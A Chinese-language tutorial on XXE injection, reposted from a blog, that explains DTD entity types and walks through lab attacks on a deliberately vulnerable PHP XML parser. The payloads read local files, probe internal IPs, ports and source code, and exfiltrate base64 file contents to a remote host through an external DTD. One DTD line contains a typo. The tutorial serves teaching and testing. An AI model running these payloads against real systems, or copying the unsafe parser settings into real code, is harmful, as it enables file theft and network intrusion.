zoukankan      html  css  js  c++  java
  • XXE漏洞利用详解

    一、概述

            XXE(外部实体注入)是XML注入的一种,普通的XML注入利用面比较狭窄,如果有的话也是逻辑类漏洞。XXE扩大了攻击面。

            当允许引用外部实体时,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

            防御方法:禁用外部实体(PHP:可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体)

    二、XML基础知识

    2.1XML基本结构

    DTD 的作用:1.定义元素(其实就是对应 XML 中的标签);

                              2.定义实体(对应XML 标签中的内容)

    假如 DTD 位于 XML 源文件的外部,那么可以通过引用【外部文档说明】的方式,效果同上:

    2.2两种外部文档说明(DTD)

       1、当引用的DTD文件是本地文件的时候,用SYSTEM标识,并写上"DTD的文件路径",如下:

        <!DOCTYPE 根元素 SYSTEM "DTD文件路径">

        2、如果引用的DTD文件是一个公共文件时,采用PUBLIC标识,如下:

        <!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文件的URL">

    2.3四种实体声明(ENTITY)

    1.  内部实体声明

            <!ENTITY 实体名称 "实体的值"> 

    <!DOCTYPE foo [
    <!ELEMENT foo ANY > <!ENTITY xxe "Thinking">]> <foo>&xxe;</foo>

    2.  外部实体声明

            <!ENTITY 实体名称 SYSTEM "URI/URL"> 

    <?xml version="1.0" encoding="UTF-8"?>
    
    <!DOCTYPE copyright [
    
    <!ENTITY test SYSTEM "http://www.runoob.com/entities.dtd">]>
    
    <reset>
    
    <login>&test;</login>
    
    <secret>login</secret>
    
    </reset>

            上述两种均为引用实体,主要在XML文档中被应用,引用方式:&实体名称; 末尾要带上分号,这个引用将直接转变成实体内容。

    3.  参数实体声明

            <!ENTITY % 实体名称 "实体的值"> 

            <!ENTITY % 实体名称 SYSTEM "URI/URL"> 

    <?xml version="1.0" encoding="UTF-8"?>
    
    <!DOCTYPE copyright [
    
    <!ENTITY % body SYSTEM "http://www.runoob.com/entities.dtd" >
    
    <!ENTITY xxe "%body;">
    
    ]>
    
    <reset>
    
    <secret>login</secret>
    
    </reset>

            参数实体,被DTD文件自身使用 ,引用方式为:%实体名称。和通用实体一样,参数实体也可以外部引用。

            允许包含外部实体,就可能存在XXE 攻击。

            外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

    4.  公共实体声明

            <!ENTITY 实体名称 PUBLIC "public_ID" "URI">

    三、XXE漏洞

    3.1实验一(有回显)

    测试demo:

    <?php
        libxml_disable_entity_loader (false);
    
                        //若为true,则表示禁用外部实体
                    
    
                    $xmlfile = file_get_contents('php://input');
    
                        //可以获取POST来的数据
                    
    
                    $dom = new DOMDocument();
    
                        $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    
                        $creds = simplexml_import_dom($dom);
    
                        echo
                        $creds;
    ?> 

    【利用1】读取本地文件

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE creds [  
    <!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
    <creds>&goodies;</creds>

     【利用2】读取含特殊字符的本地文件

            如果文件中含有特殊字符,如&,<,>,",'等,通过上述方法会报错,需要借助CDATA,CDATA节中的所有字符都会被当做元素字符数据的常量部分,而不是 xml标记。

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE roottag [
    <!ENTITY % start "<![CDATA[">   
    <!ENTITY % goodies SYSTEM "file:///C:/phpStudy/WWW/zhan/XXE-K/test.txt">  
    <!ENTITY % end "]]>">  
    <!ENTITY % dtd SYSTEM "http://192.168.220.143:8888/zhan/XXE-K/evil.dtd">
    %dtd; ]>
     
    
    <roottag>&all;</roottag>

    http://192.168.220.143:8888/zhan/XXE-K/evil.dtd:

    <?xml version="1.0" encoding="UTF-8"?>
    
    <!ENTITY all "%start;%goodies;%end;">
    

    【利用3】内网ip探测

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE creds [  
    <!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.220.144"> ]>
    <creds>&goodies;</creds>

            注:根据响应的时间的长短判断ip是否存在,可以通过burp重放遍历端口

    【利用4】内网端口探测

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE creds [  
    <!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.220.144:22"> ]>
    <creds>&goodies;</creds>

            注:根据响应的时间的长短判断端口是否开放,可以通过burp重放遍历端口;如果有报错,可以直接探测出banner信息。

       

    【利用5】内网系统源码探测

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE creds [  
    <!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.220.144/bWAPP/login.php"> ]>
    <creds>&goodies;</creds>

            注:审计源码,进一步发现内网系统漏洞(如sql注入),则可通过blind xxe进行注入

            其他:通过jar协议上传文件;通过ftp协议结合 CRLF 注入攻击SMTP服务器

    3.2实验二(无回显)

    测试demo:

    <?php
        libxml_disable_entity_loader (false);
    
                        //若为true,则表示禁用外部实体
                    
    
                    $xmlfile = file_get_contents('php://input');
    
                        //可以获取POST来的数据
                    
    
                    $dom = new DOMDocument();
    
                        $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    ?>

    【利用1】外带数据读取文件

      <!DOCTYPE convert [ 
    <!ENTITY % remote SYSTEM "http://192.168.220.143:8888/zhan/XXE-K/evil2.dtd">
    %remote;%int;%send;
    ]>

    http://192.168.220.143:8888/zhan/XXE-K/evil2.dtd:

    <?xml version="1.0" encoding="UTF-8"?>
    <!ENTITY % fileSYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini">
    <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.220.144:9999?p=%file;'>">

     本文来自地址:https://www.cnblogs.com/flokz/p/xxe.html

  • 相关阅读:
    实例属性 类属性 实例域 类域
    研究数据集
    static 静态域 类域 静态方法 工厂方法 he use of the static keyword to create fields and methods that belong to the class, rather than to an instance of the class 非访问修饰符
    accessor mothod mutator mothod 更改器方法 访问器方法 类的方法可以访问类的任何一个对象的私有域!
    上钻 下钻 切片 转轴 降采样
    识别会话
    Performance Tuning Using Linux Process Management Commands
    Secure Hash Algorithm 3
    grouped differently across partitions
    spark 划分stage Wide vs Narrow Dependencies 窄依赖 宽依赖 解析 作业 job stage 阶段 RDD有向无环图拆分 任务 Task 网络传输和计算开销 任务集 taskset
  • 原文地址:https://www.cnblogs.com/sunny11/p/13617136.html
Copyright © 2011-2022 走看看